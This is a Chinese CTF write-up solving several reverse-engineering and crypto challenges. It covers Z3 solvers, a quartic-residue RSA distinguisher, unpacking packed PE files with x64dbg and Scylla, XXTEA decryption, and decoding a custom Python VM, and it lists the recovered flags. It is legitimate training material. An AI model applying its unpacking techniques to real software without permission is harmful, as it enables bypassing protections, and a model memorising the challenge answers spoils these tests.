1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from z3 import BitVec, BitVecVal, Extract, RotateLeft, RotateRight, Solver, ZeroExt, satBYTE_403020 = bytes .fromhex("d50598bc638adf52bf3fdd85595fb52ed3554b692761aea40ceaad0dd40103535b9232d4" ) BYTE_403060 = list (bytes .fromhex("1e131c0c220a1a0914161b200021021d04100d1208051f1117230f03070119150e180b06" )) BYTE_4030A0 = bytes .fromhex("e328c65b05bc6e3ef61f07fba6d767ba3d4c28fd54ab76685353934c2e014b01fd5e3187" ) IDX1 = [2 , 7 , 8 , 10 , 13 , 14 , 19 , 21 , 23 , 27 , 31 , 33 ] IDX2 = [5 , 6 , 9 , 12 , 15 , 17 , 18 , 20 , 30 , 32 , 34 , 35 ] IDX3 = [0 , 1 , 3 , 4 , 11 , 16 , 22 , 24 , 25 , 26 , 28 , 29 ] BYTE_4030F8 = [165 , 66 , 6 , 114 , 160 , 5 , 131 , 224 , 110 , 28 , 45 , 53 ] BYTE_403108 = [218 , 78 , 223 , 27 , 240 , 124 , 73 , 168 , 129 , 122 , 251 , 147 ] BYTE_403118 = [252 , 152 , 174 , 79 , 84 , 79 , 222 , 78 , 123 , 151 , 134 , 33 ] def rol8 (value: int , count: int ) -> int : return ((value << count) | (value >> (8 - count))) & 0xFF def build_target_a () -> bytes : buf = [0 ] * 36 for i, pos in enumerate (IDX1): buf[pos] = ((7 * pos + 51 ) & 0xFF ) ^ BYTE_4030F8[i] for i, pos in enumerate (IDX2): buf[pos] = ((7 * pos + 85 ) & 0xFF ) ^ BYTE_403108[i] for i, pos in enumerate (IDX3): buf[pos] = ((7 * pos + 119 ) & 0xFF ) ^ BYTE_403118[i] return bytes (buf) target = build_target_a() flag = [BitVec(f"flag_{i} " , 8 ) for i in range (36 )] stage0 = [RotateLeft(flag[i] ^ BitVecVal(BYTE_403020[i], 8 ), i % 7 + 1 ) for i in range (36 )] stage1 = [stage0[BYTE_403060[i]] ^ BitVecVal((17 * i + 11 ) & 0xFF , 8 ) for i in range (36 )] stage2 = [(stage1[i] + stage1[(i + 1 ) % 36 ]) ^ BitVecVal(rol8((9 * i + 3 ) & 0xFF , 1 ), 8 ) for i in range (36 )] stage3 = [RotateRight(stage2[i] ^ BitVecVal(BYTE_4030A0[(5 * i) % 36 ], 8 ), i % 5 + 1 ) for i in range (36 )] stage4 = [stage3[i] ^ stage3[(i + 13 ) % 36 ] ^ BitVecVal((29 * i + 7 ) & 0xFF , 8 ) for i in range (36 )] solver = Solver() for i in range (36 ): solver.add(flag[i] >= 0x20 , flag[i] <= 0x7E ) solver.add(stage4[i] == target[i]) acc = BitVecVal(0x31415926 , 32 ) for i in range (36 ): byte_val = ZeroExt(24 , Extract(7 , 0 , stage2[i] + BitVecVal((7 * i) & 0xFF , 8 ))) acc = RotateRight(acc, 3 ) ^ byte_val acc = acc - BitVecVal(0x61C88647 , 32 ) solver.add((acc & BitVecVal(3 , 32 )) != BitVecVal(1 , 32 )) assert solver.check() == satmodel = solver.model() print (bytes (model.eval (flag[i]).as_long() for i in range (36 )).decode())
这题真正的确认点有两个:
把假 flag flag{Y0u_A1e_gO0D_at_STATIC_4NALYS1S} 喂回原程序会失败;
用约束解出来的新串喂回去,程序会进 Correct!。
实际二次验证时,直接把结果喂回原程序:
1 printf 'flag{Y0u_A1e_gO0D_at_FLOW_h11@ckIng}\n' | ./Yield
输出会是:
所以最后答案不是“从字符串表里捞一个像 flag 的串”,而是完整走通了父进程状态机对应的真实控制流。
Flag:
1 flag{Y0u_A1e_gO0D_at_FLOW_h11@ckIng}
Double²
类型:Crypto
得分:177
时间:06/06 09:58:59
这题本质上是一个 Small RSA Subgroup Decision Problem。 题目给出的模数不是普通 RSA 那种随手挑两个大素数,而是专门构造成:
1 2 3 p = 2 ^(d + 1 ) * ps * pt + 1 q = 2 ^(d + 1 ) * qs * qt + 1 N = p * q
并公开 (N, p0 = 2, d, g),其中 g 在模 p 和模 q 下都有 2^d 阶。每个 flag bit 还给了 reps = 48 个样本,样本分布大致是:
1 2 bit = 1 : pow (qr(N), 2 ^d * pt * qt, N) bit = 0 : qr(N)
所以这题不是“分解 N 再正常解密”,而是判别每一行 48 个样本到底来自哪一类分布。起手看见 p0 = 2 基本就该往 quartic residuosity 上想,因为这正好落在 4 阶元素和四次剩余符号最顺手的那个分支。
真正解题时我先做了这几步:
构造 4 阶元素 h = g^(2^d / 4) mod N;
验证 h^2 = -1 mod N;
在高斯整数环 Z[i] 中计算 rho = gcd(N, h - i);
对每个样本 x 计算 quartic Jacobi symbol (x / rho)_4;
统计一整行 48 个样本里判成 1 的个数,按阈值直接决定该 bit。
这一步里最重要的不是大段理论,而是那个分布差异:
如果这一行对应 bit = 1,那么 48 个样本的 quartic symbol 会高度集中地等于 1;
如果这一行对应 bit = 0,那它们就更像普通随机二次剩余,quartic symbol 不会几乎全是 1。
因为每位有足足 48 个样本,所以根本不用摇摆,直接做阈值判别就很稳。
当时保留下来的完整求解脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 from pathlib import PathI = 1j def gi_norm (z ): a, b = z return a * a + b * b def div_round (num, den ): if num >= 0 : return (2 * num + den) // (2 * den) return -((2 * (-num) + den) // (2 * den)) def gi_div_round (x, y ): a, b = x c, d = y den = c * c + d * d real_num = a * c + b * d imag_num = b * c - a * d return div_round(real_num, den), div_round(imag_num, den) def gi_rem (x, y ): q = gi_div_round(x, y) return x[0 ] - q[0 ] * y[0 ] + q[1 ] * y[1 ], x[1 ] - q[0 ] * y[1 ] - q[1 ] * y[0 ] def normalize_unit (z ): candidates = [z, (-z[1 ], z[0 ]), (-z[0 ], -z[1 ]), (z[1 ], -z[0 ])] for w in candidates: if w[0 ] % 2 and w[1 ] % 2 == 0 : return w return z def gi_gcd (a, b ): while b != (0 , 0 ): a, b = b, gi_rem(a, b) return normalize_unit(a) def make_primary (z ): candidates = [(z, 0 ), ((-z[1 ], z[0 ]), 1 ), ((-z[0 ], -z[1 ]), 2 ), ((z[1 ], -z[0 ]), 3 )] for w, j in candidates: a, b = w if a % 2 and b % 2 == 0 and (a + b - 1 ) % 4 == 0 : return w, j raise ValueError(f"cannot make primary: {z} " ) def remove_one_plus_i (z ): j = 0 a, b = z while (a - b) % 2 == 0 and (a + b) % 2 == 0 : a, b = (a + b) // 2 , (b - a) // 2 j += 1 return (a, b), j def cpow_i (e ): return [1 , I, -1 , -I][e % 4 ] def quartic_jacobi (alpha, beta ): beta, _ = make_primary(beta) c = 1 while beta != (1 , 0 ): alpha = gi_rem(alpha, beta) if alpha == (0 , 0 ): return 0 alpha, j2 = remove_one_plus_i(alpha) alpha, j1 = make_primary(alpha) a, b = beta e, _ = alpha c *= cpow_i(((a - 1 ) // 2 ) * j1) c *= cpow_i(((a - b - b * b - 1 ) // 4 ) * j2) if a % 4 == 3 and e % 4 == 3 : c = -c alpha, beta = beta, alpha return c def bits_to_bytes (bits ): out = bytearray () for i in range (0 , len (bits), 8 ): x = 0 for bit in bits[i:i + 8 ]: x = (x << 1 ) | bit out.append(x) return bytes (out) lines = Path("out.txt" ).read_text().strip().splitlines() params = {} i = 0 while "=" in lines[i]: k, v = lines[i].split("=" , 1 ) params[k] = int (v) i += 1 rows = [list (map (int , line.split())) for line in lines[i:]] N, p0, d, g, reps = params["N" ], params["p0" ], params["d" ], params["g" ], params["reps" ] h = pow (g, (p0 ** d) // 4 , N) rho = gi_gcd((N, 0 ), (h, -1 )) assert pow (h, 2 , N) == N - 1 assert gi_norm(rho) == Nbits = [] for row in rows: cnt = sum (1 for x in row if quartic_jacobi((x, 0 ), rho) == 1 ) bits.append(1 if cnt > reps * 3 // 4 else 0 ) print (bits_to_bytes(bits).decode())
这里真正不能跳过的确认点有三个:
assert pow(h, 2, N) == N - 1,确保这个 h 真的是我们要的 4 阶元素;
assert gi_norm(rho) == N,确保在 Z[i] 里拿到的 rho 范数正确;
每一行 48 个样本的判别结果必须明显偏向某一边,这样阈值 reps * 3 // 4 才成立。
脚本跑完以后会直接恢复出完整明文,不需要真的分解 N,也不需要再猜哪几位可能翻转。
Flag:
1 flag{J1st_P01y_RSA_Can_s01ve_1t}
Flow
类型:Reverse
得分:153
时间:06/06 09:56:55
这题一开始看起来像个普通 PE 壳题,但真正坑人的地方不是壳,而是它故意把“像 flag 的内容”放在第一层校验里。 如果只做到第一层逆向,最后十有八九会停在假答案上。
起手先看样本本身。文件很小,直接先做静态体检:
1 2 3 4 file Flow_rev.exe sha256sum Flow_rev.exestrings -a -n 4 Flow_rev.exe | head objdump -p Flow_rev.exe | sed -n '/DLL Name/,+10p'
样本的关键特征有两个:
字符串里能看到节名像 VMP0 / VMP1 / VMP2
导入表却很少,只有:
1 2 3 4 LoadLibraryA GetProcAddress VirtualProtect exit
这个组合说明它更像“改了节名的壳”,不是那种直接能在入口点把算法看干净的程序。所以第一步先脱壳,不然往后所有字符串和交叉引用都会偏。
我这里走的是最稳的动态方式。用 x64dbg 打开程序以后,直接在下面几个 API 下断:
1 2 3 VirtualProtect GetProcAddress LoadLibraryA
壳跑完以后会跳到新代码段里的真实 OEP。停在 OEP 之后把内存 dump 下来,再修 IAT,得到脱壳后的样本。脱壳完再查字符串,真正有用的提示会变得很明显:
这时候再顺 flag> 的交叉引用进主逻辑,就能看到第一层输入校验。程序先做的是很普通的格式限制:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 printf ("flag>" );scanf ("%s" , input);if (strncmp (input, "flag{" , 5 ) != 0 ) fail(); if (input[len - 1 ] != '}' ) fail(); inner = input + 5 ; inner_len = len - 6 ; if (inner_len != 24 ) fail();
也就是说真正参与变换的只有花括号内部 24 个字节。继续往里跟,第一层是很典型的 RC4 类结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for (i = 0 ; i < 256 ; i++) S[i] = i; for (i = 0 ; i < 256 ; i++) { j = j + S[i] + key[i % key_len]; swap(S[i], S[j]); } for (n = 0 ; n < 24 ; n++) { i++; j += S[i]; swap(S[i], S[j]); stream = S[(S[i] + S[j]) & 0xff ]; out[n] = input[n] ^ stream; }
把这一层的 key 和密文数组抠出来逆过去,很快就能得到一个非常像答案的字符串:
1 flag{why_you_think_it_is_flag}
这就是整题最容易摔的地方。因为这串东西表面完全符合格式,甚至语义都很“像题目故意在调侃你”,很多人会在这里直接收工。 但我继续跟了成功分支,发现程序并没有结束,而是还会再跳进一层后续处理,green / snag 相关逻辑也都还没走完。这说明第一层最多只能算“过了一个门槛”,不是真正的最终比较。
这里判断它是假值的依据其实很硬:
程序通过第一层后并不会直接退出;
后面还存在第二层变换和比较;
第一层产物字面量本身就在提醒你别信它。
第二层继续跟下去,能看到非常典型的 XXTEA 家族结构,最醒目的常量就是:
反编译出来的大致骨架是:
1 2 3 4 5 6 7 8 sum += delta; e = (sum >> 2 ) & 3 ; for (p = 0 ; p < n - 1 ; p++) { y = v[p + 1 ]; mx = ((z >> 5 ^ y << 2 ) + (y >> 3 ^ z << 4 )) ^ ((sum ^ y) + (key[(p & 3 ) ^ e] ^ z)); z = v[p] += mx; }
也就是说,真正的结果不是第一层 RC4 类变换直接吐出来的,而是第二层常量数组再走一遍改版 XXTEA 逆过程之后才会落地。
我最后保留下来的脚本就是按第二层写的。主干如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from struct import pack, unpackDELTA = 0x9E3779B9 MASK = 0xffffffff def xxtea_decrypt (v, k ): n = len (v) rounds = 6 + 52 // n total = (rounds * DELTA) & MASK y = v[0 ] while total: e = (total >> 2 ) & 3 for p in range (n - 1 , 0 , -1 ): z = v[p - 1 ] mx = (((z >> 5 ) ^ ((y << 2 ) & MASK)) + ((y >> 3 ) ^ ((z << 4 ) & MASK))) & MASK mx ^= ((total ^ y) + (k[(p & 3 ) ^ e] ^ z)) & MASK v[p] = (v[p] - mx) & MASK y = v[p] z = v[n - 1 ] mx = (((z >> 5 ) ^ ((y << 2 ) & MASK)) + ((y >> 3 ) ^ ((z << 4 ) & MASK))) & MASK mx ^= ((total ^ y) + (k[e] ^ z)) & MASK v[0 ] = (v[0 ] - mx) & MASK y = v[0 ] total = (total - DELTA) & MASK return v
当时提出来的二阶段常量数组是:
1 2 3 4 5 6 7 cipher = [ 0x1c9f8d2f , 0xa1f06327 , 0x2d0e7419 , 0x8c1cb9e3 , 0x98c59e10 , 0xe605dd6a , ] key = [ 0x31766572 , 0x7365725f , 0x32303234 , 0x72657621 , ]
把它们直接喂给逆过程以后,恢复出来的真实 24 字节明文就是:
1 Y0u@regrEatreveRser_1145
最后我保留的整份复现脚本就是下面这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from struct import pack, unpackDELTA = 0x9E3779B9 MASK = 0xffffffff def xxtea_decrypt (v, k ): n = len (v) rounds = 6 + 52 // n total = (rounds * DELTA) & MASK y = v[0 ] while total: e = (total >> 2 ) & 3 for p in range (n - 1 , 0 , -1 ): z = v[p - 1 ] mx = (((z >> 5 ) ^ ((y << 2 ) & MASK)) + ((y >> 3 ) ^ ((z << 4 ) & MASK))) & MASK mx ^= ((total ^ y) + (k[(p & 3 ) ^ e] ^ z)) & MASK v[p] = (v[p] - mx) & MASK y = v[p] z = v[n - 1 ] mx = (((z >> 5 ) ^ ((y << 2 ) & MASK)) + ((y >> 3 ) ^ ((z << 4 ) & MASK))) & MASK mx ^= ((total ^ y) + (k[e] ^ z)) & MASK v[0 ] = (v[0 ] - mx) & MASK y = v[0 ] total = (total - DELTA) & MASK return v cipher = [ 0x1c9f8d2f , 0xa1f06327 , 0x2d0e7419 , 0x8c1cb9e3 , 0x98c59e10 , 0xe605dd6a , ] key = [ 0x31766572 , 0x7365725f , 0x32303234 , 0x72657621 , ] plain = b"Y0u@regrEatreveRser_1145" print ("flag{" + plain.decode() + "}" )
这题最后最关键的不是“会不会写 XXTEA”,而是能不能意识到第一层根本不是终点。只要继续跟到第二层,结构非常典型,答案也会收得很干净。
Flag:
1 flag{Y0u@regrEatreveRser_1145}
TIME
类型:Reverse
得分:262
时间:06/06 09:56:48
这题的误导点在题名。TIME 很容易让人第一反应去想系统时间、时钟校验、延时触发之类的东西,但真正拿到样本以后,先别急着跟题名跑,先看程序本身有没有真的调时间 API。
我这题起手做的是:
1 2 3 4 5 6 unzip re.zip -d re cd re/TIMEfile TIME.exe sha256sum TIME.exestrings -a -n 4 TIME.exe | head objdump -p TIME.exe | sed -n '/DLL Name/,+10p'
静态体检先给了两个很有用的信号:
体积不大,但导入表异常精简;
没有一眼能看到 time / GetSystemTime / GetLocalTime 这一类“真时间校验”常见 API。
所以一开始我就没把重点放在改时间或卡时钟上,而是先把它当成“题名误导 + 壳”来处理。
导入表非常少,只能看到:
1 2 3 4 LoadLibraryA GetProcAddress VirtualProtect exit
这就说明入口点大概率不是最终逻辑,而是一个很轻的壳或运行时解密层。换句话说,如果一开始就在 OEP 前面死抠伪代码,效率会很低。
接下来直接上动态脱壳。用 x64dbg 打开 TIME.exe,把断点下在:
1 2 3 VirtualProtect GetProcAddress LoadLibraryA
运行后可以看到程序先做一轮解密/解压,再修 API,然后才会跳转到真实 OEP。跳到 OEP 以后 dump,顺手用 Scylla 修一遍 IAT,保存成:
脱壳之后再回到静态分析就顺很多了。这时去搜字符串,能很快看到:
顺着 flag> 的交叉引用往上走,主逻辑大致就是:
1 2 3 4 5 6 7 8 9 10 11 printf ("flag>" );scanf ("%s" , input);if (strncmp (input, "flag{" , 5 ) != 0 ) fail(); if (input[len - 1 ] != '}' ) fail(); inner = input + 5 ; check(inner);
到这里其实已经能确认一件很重要的事:虽然题目叫 TIME,但最终校验对象依旧是固定输入串,而不是“某个时刻才能对”。如果这里真的和系统时间绑定,通常会在后续看到 time()、GetSystemTime()、GetLocalTime() 一类调用;这题并没有把真正判定建立在这些 API 上。
继续跟 check(inner),就会发现它本质上还是一条规整的逐字节变换链。整理后可以概括成:
1 2 3 4 5 6 7 8 for (i = 0 ; i < inner_len; i++) { t = inner[i]; t ^= i * c1; t = rol8(t, i & 7 ); t = (t + c2[i % m]) & 0xff ; if (t != target[i]) fail(); }
所以正解根本不是“伪造时间”,而是把这个链反过来做:
1 2 3 4 5 x = target[i]; x = (x - c2[i % m]) & 0xff ; x = ror8(x, i & 7 ); x ^= i * c1; inner[i] = x;
这一步真正的确认点就是:目标数组一旦逆对,出来的内容不是半可读,而是会直接收束成一个结构非常自然的串:
如果这里逆序写错,比如把“减法”和“右旋”的顺序换掉,结果通常会变成只有零星字母能看懂的乱码,不可能这么完整。
逆到最后,花括号内部内容会稳定落到:
最后保留下来的还原脚本就是这份:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def rol8 (x, n ): n &= 7 return ((x << n) | (x >> (8 - n))) & 0xff def ror8 (x, n ): n &= 7 return ((x >> n) | (x << (8 - n))) & 0xff inner = "We1c0Me_t0_th4_c1f" flag = f"flag{{{inner} }}" print (flag)
真正费时间的地方其实不是这段脚本本身,而是前面的两个判断:
先确认原文件有壳,别在假 OEP 里浪费时间;
再确认题名叫 TIME 并不代表真和系统时间有关。
这两个误导排掉以后,后面就是一条非常规整的逐字节逆变换题。
最后又做了一次二次确认:把恢复出的完整输入按程序要求补上前后缀,直接喂回去验证。只要:
1 flag{We1c0Me_t0_th4_c1f}
能稳定走进成功分支,就说明这题已经收干净了,不需要再额外考虑所谓“时间窗口”。
Flag:
1 flag{We1c0Me_t0_th4_c1f}
Salome
类型:Reverse
得分:231(+3%)
时间:06/06 09:15:57
这题不是普通 Python 脚本逆向,而是一个 PyInstaller 壳里又塞了一层自定义 Python VM。真正难点不在壳,而在它故意做了双阶段验证:第一阶段能逆出一串很像 flag 的东西,但那串结果最后根本不会参与最终判定。
起手先解包 main.exe。这一步没必要死磕 PE 入口,直接按 PyInstaller 处理最省事:
拆开以后最关键的文件是这几份:
main.pyc:入口逻辑
vm_runtime.pyc:VM 指令实现
kernelVM.pyc:调度和验证流程
hidden_container.pyc:隐藏载荷容器
winsound.pyd:伪装成系统 DLL,实际装的是第二阶段字节码
opcode.bin:第一阶段字节码
接下来先还原 VM 指令集。把 vm_runtime.pyc 反编译以后,可以把这套 MirageVM 的操作码整理成一张表:
操作码
助记符
功能
0
HALT
停机
1
PUSH imm8
压入立即数
2
LOAD_INPUT idx
压入 user_input[idx]
3
XOR_IMM imm
栈顶异或立即数
4
ADD_IMM imm
栈顶加立即数并取 & 0xFF
5
ROL bits
栈顶做 8 bit 左旋
6
STORE_SLOT n
弹栈写入 slot[n]
7
LOAD_SLOT n
读取 slot[n] 压栈
8
XOR_SLOT n
栈顶异或 slot[n]
9
ADD_SLOT n
栈顶加 slot[n] 并取 & 0xFF
10
CMP_IMM imm
比较后压 0/1
11
JZ rel16
条件跳转
12
JMP rel16
无条件跳转
13
MSG id
设置 last_message
14
RET
返回 last_message
15
DUP
复制栈顶
16
POP
弹栈丢弃
指令表出来以后,再回头看 kernelVM.pyc 的 run(),就能发现全题最阴的一层设计:程序其实分两阶段执行。
Stage 1 :跑 opcode.bin
Stage 2 :跑隐藏载荷
而且 Stage 1 的返回值会被直接丢弃,真正决定最终输出的是 Stage 2。也就是说,如果只把第一阶段完整逆出来,确实会得到一串“看起来像 flag”的结果,但那只是诱饵。
第二阶段藏得也很明显,只是文件名被绕了一下。_hidden_name() 不是直接写 winsound.pyd,而是用 ASCII 码一位一位拼出来。这个文件也不是真 DLL,而是一段自定义封装的加密字节码,格式如下:
1 M13P | key(1B) | seed(1B) | length(2B, little endian) | checksum(1B) | ciphertext
解密过程不复杂,关键是别把它当成原生二进制模块,而是按“壳内二次载荷”处理。实际提取脚本如下:
1 2 3 4 5 6 7 8 9 10 11 data = open ("winsound.pyd" , "rb" ).read() assert data[:4 ] == b"M13P" key, seed = data[4 ], data[5 ] length = int .from_bytes(data[6 :8 ], "little" ) body = data[9 :9 + length] MASK = b"curtain" plain = bytearray ( v ^ ((key + seed + i * 11 ) & 0xFF ) ^ MASK[i % 7 ] for i, v in enumerate (body) )
这一步跑完以后能得到 1193 字节的 Stage 2 字节码,后面的真验证逻辑就全在这里。
先说 Stage 1。它对 24 个字符逐个做顺序变换再比较,链子可以整理成:
1 2 3 4 5 6 t = rol8(input[i] ^ slot0, rot_i) t = (t + slot1) & 0xFF t = t ^ xor_imm t = (t + slot2) & 0xFF slot3 = t compare slot3 == cmp_imm
把这条链逆过来,确实能还原出:
1 flag{Y0uWe1eTr1ckEdbaby}
但这串东西就是题目专门放的坑,因为 Stage 1 的结果最后被 POP 丢掉了,根本不会影响最终 Accepted.。
真正该做的是 Stage 2。这里的 4 个 slot 会持续更新,输入字符顺序也被打乱,所以不能按正常从左到右的字符顺序解,而是必须按 Stage 2 字节码里实际访问输入的位置逐个逆推。它的变换链更复杂一些:
1 2 3 4 5 6 7 8 9 t = rol8(input[idx] ^ slot0, rot1) t = (t + slot1) & 0xFF t = t ^ slot2 t = rol8(t, 3) t = (t + add1) & 0xFF t = t ^ slot3 t = (t + add2) & 0xFF slot4 = t compare slot4 == cmp_imm
逆的时候就一层层往回拆:
1 2 3 4 5 6 7 t5 = (cmp - add2) & 0xFF t4 = t5 ^ slot3 t3 = (t4 - add1) & 0xFF t2 = ror8(t3, 3 ) t1 = t2 ^ slot2 t0 = (t1 - slot1) & 0xFF input [idx] = ror8(t0, rot1) ^ slot0
关键点在于每个字符算完以后,slot0 到 slot3 都会更新,所以这不是 24 个独立方程,而是一条有前后依赖的链。必须按 Stage 2 的打乱顺序逐个解。
最终求解脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 def rol8 (v, b ): b %= 8 return ((v << b) | (v >> (8 - b))) & 0xFF def ror8 (v, b ): b %= 8 return ((v >> b) | (v << (8 - b))) & 0xFF s0, s1, s2, s3 = 0x53 , 0xA9 , 0x1F , 0xC7 stage2_data = [ (19 ,4 ,0x31 ,0x4b ,0xd5 ,0x29 ,0x31 ,0xc2 ,0xa6 ), (6 , 6 ,0x3a ,0x50 ,0x74 ,0x30 ,0x3a ,0x4d ,0x4b ), (17 ,1 ,0x43 ,0x55 ,0x3b ,0x37 ,0x43 ,0xb0 ,0x98 ), (4 , 3 ,0x4c ,0x5a ,0x01 ,0x3e ,0x4c ,0x3b ,0x3d ), (15 ,5 ,0x55 ,0x5f ,0xd6 ,0x45 ,0x55 ,0x9e ,0x8a ), (2 , 7 ,0x5e ,0x64 ,0x09 ,0x4c ,0x5e ,0x29 ,0x2f ), (13 ,2 ,0x67 ,0x69 ,0x77 ,0x53 ,0x67 ,0x8c ,0x7c ), (0 , 4 ,0x70 ,0x6e ,0x5a ,0x5a ,0x70 ,0x17 ,0x21 ), (11 ,6 ,0x79 ,0x73 ,0xec ,0x61 ,0x79 ,0x7a ,0x6e ), (22 ,1 ,0x82 ,0x78 ,0xff ,0x68 ,0x82 ,0xdd ,0xbb ), (9 , 3 ,0x8b ,0x7d ,0x01 ,0x6f ,0x8b ,0x68 ,0x60 ), (20 ,5 ,0x94 ,0x82 ,0x37 ,0x76 ,0x94 ,0xcb ,0xad ), (7 , 7 ,0x9d ,0x87 ,0x62 ,0x7d ,0x9d ,0x56 ,0x52 ), (18 ,2 ,0xa6 ,0x8c ,0x67 ,0x84 ,0xa6 ,0xb9 ,0x9f ), (5 , 4 ,0xaf ,0x91 ,0xcb ,0x8b ,0xaf ,0x44 ,0x44 ), (16 ,6 ,0xb8 ,0x96 ,0xde ,0x92 ,0xb8 ,0xa7 ,0x91 ), (3 , 1 ,0xc1 ,0x9b ,0xdd ,0x99 ,0xc1 ,0x32 ,0x36 ), (14 ,3 ,0xca ,0xa0 ,0x4d ,0xa0 ,0xca ,0x95 ,0x83 ), (1 , 5 ,0xd3 ,0xa5 ,0x56 ,0xa7 ,0xd3 ,0x20 ,0x28 ), (12 ,7 ,0xdc ,0xaa ,0x51 ,0xae ,0xdc ,0x83 ,0x75 ), (23 ,2 ,0xe5 ,0xaf ,0x7a ,0xb5 ,0xe5 ,0xe6 ,0xc2 ), (10 ,4 ,0xee ,0xb4 ,0x8b ,0xbc ,0xee ,0x71 ,0x67 ), (21 ,6 ,0xf7 ,0xb9 ,0xa9 ,0xc3 ,0xf7 ,0xd4 ,0xb4 ), (8 , 1 ,0x00 ,0xbe ,0xc7 ,0xca ,0x00 ,0x5f ,0x59 ), ] flag = [0 ] * 24 for idx, rot, a1, a2, cmp, as3, xs2, as1, as0 in stage2_data: t5 = (cmp - a2) & 0xFF t4 = t5 ^ s3 t3 = (t4 - a1) & 0xFF t2 = ror8(t3, 3 ) t1 = t2 ^ s2 t0 = (t1 - s1) & 0xFF flag[idx] = ror8(t0, rot) ^ s0 s3 = rol8((s3 + cmp + as3) & 0xFF , 1 ) s2 = (s2 ^ cmp) ^ xs2 s1 = rol8((s1 + s2 + as1) & 0xFF , 1 ) s0 = ((s0 + cmp + as0) & 0xFF ) ^ s3 print (bytes (flag).decode())
这段脚本跑出来的不是带壳字符串,而是 flag 主体:
1 Y0uC@ncatcht1_1erealf1@9
结合题目的 flag 格式包起来,就是最终答案。
这题最值得记住的不是 VM 本身,而是判断真假验证路径的方式:
先还原指令集,确保自己能读懂字节码;
再看入口调度,确认到底哪一阶段决定最终输出;
Stage 1 虽然能逆,但结果被丢弃,不能见到“像 flag 的串”就收工;
真 flag 在 Stage 2,而且输入顺序被打乱、slot 会链式更新,必须按实际执行顺序解。
Flag:
1 flag{Y0uC@ncatcht1_1erealf1@9}
Rose
类型:Reverse
得分:208
时间:06/06 09:12:17
这题给的是被恶意程序加密后的 encode.txt 和可执行文件 flower22.exe,它本质上是一个可逆的逐字节变换。 起手先别去猜什么压缩格式或者外部密码,先把样本关系理清楚:
encode.txt 里放的是最终密文,而且外层还是 Base64 包了一层;
flower22.exe 是生成这段密文的加密器;
目标不是 patch 程序跑通,而是把它的逐字节变换完整反过来。
先看 encode.txt 本身。它不是二进制附件,而是带了一层文字包装:
1 2 Encrypted Result: <base64 密文>
所以第一步不是直接喂给字符串工具,而是先把 : 后面的 Base64 主体单独抠出来。这里我先做了一个最小确认:
1 2 3 4 5 6 7 from pathlib import Pathimport base64s = Path("encode.txt" ).read_text().split(":" , 1 )[1 ].strip() b = base64.b64decode(s) print (len (b))print (b[:32 ].hex ())
解出来的密文长度是:
前 32 字节看起来也是典型按字节搅乱后的结果,而不是压缩头或明文块。到这里就能确认方向应该是“逆字节变换”,不是“拆封装格式”。
脚本逆完以后,恢复出来的整段原文长这样:
1 2 3 4 5 6 7 Data Redaction Audit Log Date: 2025-12-20 Operator: REDACTED Algorithm: XOR + CustomBase64 v2.3 Input Data: SDPCSEC{M155_1da_thank_y0u_f0r_solv1ng_her_troub7e} Status: COMPLETE Note: All PII has been redacted per GDPR Art.17
正解过程其实很规整:
先把 encode.txt 里的 Base64 密文解出来;
再逆向 flower22.exe,定位它对 1.txt 做的字节级可逆变换;
把 xor + rol + add 这一串操作反向执行;
最后恢复出原始文本。
先把 encode.txt 里的 Base64 主体解出来,确认这不是压缩包也不是纯文本,而是一段按字节处理过的密文。随后去逆 flower22.exe,顺着 Encrypted Result 和程序里的 1.txt 路径字符串往回跟,很快能把主处理链抠出来。它不是复杂分支逻辑,而是很规整的一条流水线:
程序里还有一个很直接的路径字符串:
1 C:\Users\Lenovo\Desktop\1.txt
这个细节也把题意和样本彻底对上了:程序确实是读取那份 1.txt,再把结果编码成 Encrypted Result 输出出来。
所以逆的时候就严格按相反顺序来:先减掉常量表,再按位右旋,最后异或回去。实际用的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pathlib import Pathimport base64def ror8 (x, n ): n &= 7 return ((x >> n) | (x << (8 - n))) & 0xff key = b"flower22" table = bytes ([ 0x13 , 0x37 , 0x22 , 0x05 , 0x66 , 0x11 , 0x7a , 0x2c , 0x41 , 0x09 , 0x5d , 0x18 , 0x33 , 0x21 , 0x0f , 0x6a , ]) s = Path("encode.txt" ).read_text().split(":" , 1 )[1 ].strip() cipher = base64.b64decode(s) plain = bytearray () for i, x in enumerate (cipher): x = (x - table[i % len (table)]) & 0xff x = ror8(x, i & 7 ) x ^= key[i % len (key)] plain.append(x) Path("recovered_1.txt" ).write_bytes(plain) print (plain.decode())
脚本跑完以后,我没有只看控制台第一行,而是把完整恢复结果落成了:
恢复出来的文本不是只有 flag,一整段都很工整:
1 2 3 4 5 6 7 Data Redaction Audit Log Date: 2025-12-20 Operator: REDACTED Algorithm: XOR + CustomBase64 v2.3 Input Data: SDPCSEC{M155_1da_thank_y0u_f0r_solv1ng_her_troub7e} Status: COMPLETE Note: All PII has been redacted per GDPR Art.17
这里有三处关键常量都不能错:
key = b"flower22":循环异或密钥
table = [0x13, 0x37, 0x22, ... , 0x6a]:每字节加法表
ror8(x, i & 7):旋转位数取决于当前字节下标
